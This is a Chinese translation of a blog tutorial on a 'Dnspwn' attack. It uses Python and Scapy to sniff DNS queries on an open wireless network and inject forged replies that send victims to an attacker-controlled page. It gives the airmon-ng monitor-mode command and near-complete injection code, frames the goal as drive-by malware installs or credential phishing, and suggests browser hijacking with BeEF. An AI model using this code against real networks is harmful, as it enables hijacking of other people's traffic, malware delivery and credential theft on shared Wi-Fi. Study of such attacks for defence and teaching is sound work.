使用Python進行無線攻擊:第一部分 - “Dnspwn攻擊”

類別: IT
標籤: python

引言

前不久,我在Raidersec部落格上釋出了一篇部落格文章,介紹瞭如何利用Python和Scapy實現繞過鑑權的攻擊。我非常高興寫出這篇文章,因為這麼做我不僅瞭解瞭如何使用aircrack套件,還有機會深度地瞭解無線攻擊運作方式有什麼不同。

因此,正如文中所說,這篇部落格文章將引出一系列討論如何利用Python實現普通的無線攻擊的短小精悍的部落格文章。像以往一樣,我希望你欣賞這篇文章,而且毫不猶豫地讓我們知道你是否也有如下的評論或者問題。

"Dnspwn攻擊"

我們將要進行的第一個攻擊我稱之為"dnspwn攻擊"。(因為,在我看來,這種攻擊首先使用"airpwn"工具建立了目標HTTP,然後對DNS進行攻擊。) 這種攻擊的思想非常簡單:

假設在一個開放的WLAN上有兩個人:Bob和Eve。Eve想讓Bob訪問她建立的惡意網頁,這樣她就可以通過隱藏性的下載給Bob的計算機上安裝惡意軟體,或者可能展示一個欺騙性的站點來試圖竊取Bob的認證資訊。

為了實現這種攻擊,她記得她可偵聽到所有從Bob計算機發出或者到達Bob計算機的請求。她還知道她比Bob正在請求的Web伺服器離Bob更近。因此,她決定等待Bob傳送Web請求,而且看看她是否能夠在真正的Web伺服器響應之前回送一個欺騙性的響應,以假裝這個響應來自於web伺服器。事實證明,她可以做到。實際上,一旦接收了欺騙性的響應,Bob的計算機可能將忽略任何後續接收到的資訊,包括真正的響應。

讓我們看一下這一些發生的過程,看起來如下:

因此,既然我們已經知道這種攻擊如何執行的了,那麼讓我們把這種攻擊自動化。

設定Alfa AWUS06H無線網路卡

就像我在Raidersec部落格文章裡的哪個例子,我們將使用手邊的Alfa AWUS036H實現這次攻擊。我們需要做的第一件事情就是設定無線網路卡在監控模式下,這樣我們就可以捕獲所有來自於演示性的不安全網路的資訊流。

[email protected]:~# airmon-ng start wlan0
既然我們已經啟動了監控模式,並執行在mon0介面上,那麼讓我們開始編寫程式碼吧!

編寫攻擊程式碼

我們將利用scapy模組實現這種攻擊。我們開始先偵聽目的埠為53的任何UDP包,然後傳送這個包給我們後面將要編寫名字為send_response的函式:

from scapy.all import *sniff(prn=lambda x: send_response(x),  lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)
現在,讓我們建立一個可以解析請求中相關資訊並注入應答的函式。我們只是通過如下逐層上移的方式解析包並建立響應:
  • 802.11幀-更改"to-ds"標記為"from-ds"(現在我們的請求將成為來自於訪問點)
  • 802.11幀-交換源MAC地址和目的MAC地址
  • IP層-交換源IP地址和目的IP地址
  • UDP層-交換源埠和目的埠
  • DNS層-設定"answer"標記,新增欺騙性


幸運的是,通過抽象掉許多次要細節,scapy使這個變得相當輕鬆(例如,在一個802.11幀中,實際上具有4個MAC地址欄位,根據包的方向,每一種都有不同的順序)。如上所述,程式碼如下:
def send_response(x):  # Get the requested domain  req_domain = x[DNS].qd.qname  spoofed_ip = '192.168.2.1'  # Let's build our response from a copy of the original packet  response = x.copy()  # We need to start by changing our response to be "from-ds", or from the access point.  response.FCfield = 2L  # Switch the MAC addresses  response.addr1, response.addr2 = x.addr2, x.addr1  # Switch the IP addresses  response.src, response.dst = x.dst, x.src  # Switch the ports  response.sport, response.dport = x.dport, x.sport  # Set the DNS flags  response[DNS].qr = 1L  response[DNS].ra = 1L  response[DNS].ancount = 1
現在設定了所有的標誌,我們再建立新增上 DNS 應答:
response[DNS].an = DNSRR(  rrname = req_domain,  type = 'A',  rclass = 'IN',  ttl = 900,  rdata = spoofed_ip  )
最終,我們注入此欺騙響應:
sendp(response)
這就是全部了!你可以在 Github上找到所有原始碼。

演示

對於這個演示,我有如下來自主機192.168.2.138的HTML響應:

<html><head></head><body>  Owned.</body></html>

值得注意的是,我們可以加上任何我們想要的HTML,Javascript,等等。舉個例子,用BeEF 框架 來劫持瀏覽器是小菜一碟。

下面是處於攻擊中的截圖(我是用我的iPhone來做被攻擊方):

總結 & 將來的改進

注意這個攻擊方法對於其他簡單的請求/響應協議也同樣有效。例如,原始的“airpwn”攻擊欺騙了HTTP響應。對於這個指令碼,我們還可以進一步做一些改進和提高。下面就是其中的幾個方面:

  • 通過正規表示式來匹配請求(例如,僅僅替換Javascript的內容)
  • 通過引數設定選項/從檔案中讀取配置資訊
  • 實現其他協議的攻擊(如HTTP)。
Enjoy!

Jordan

使用Python進行無線攻擊:第一部分 - “Dnspwn攻擊”原文請看這裡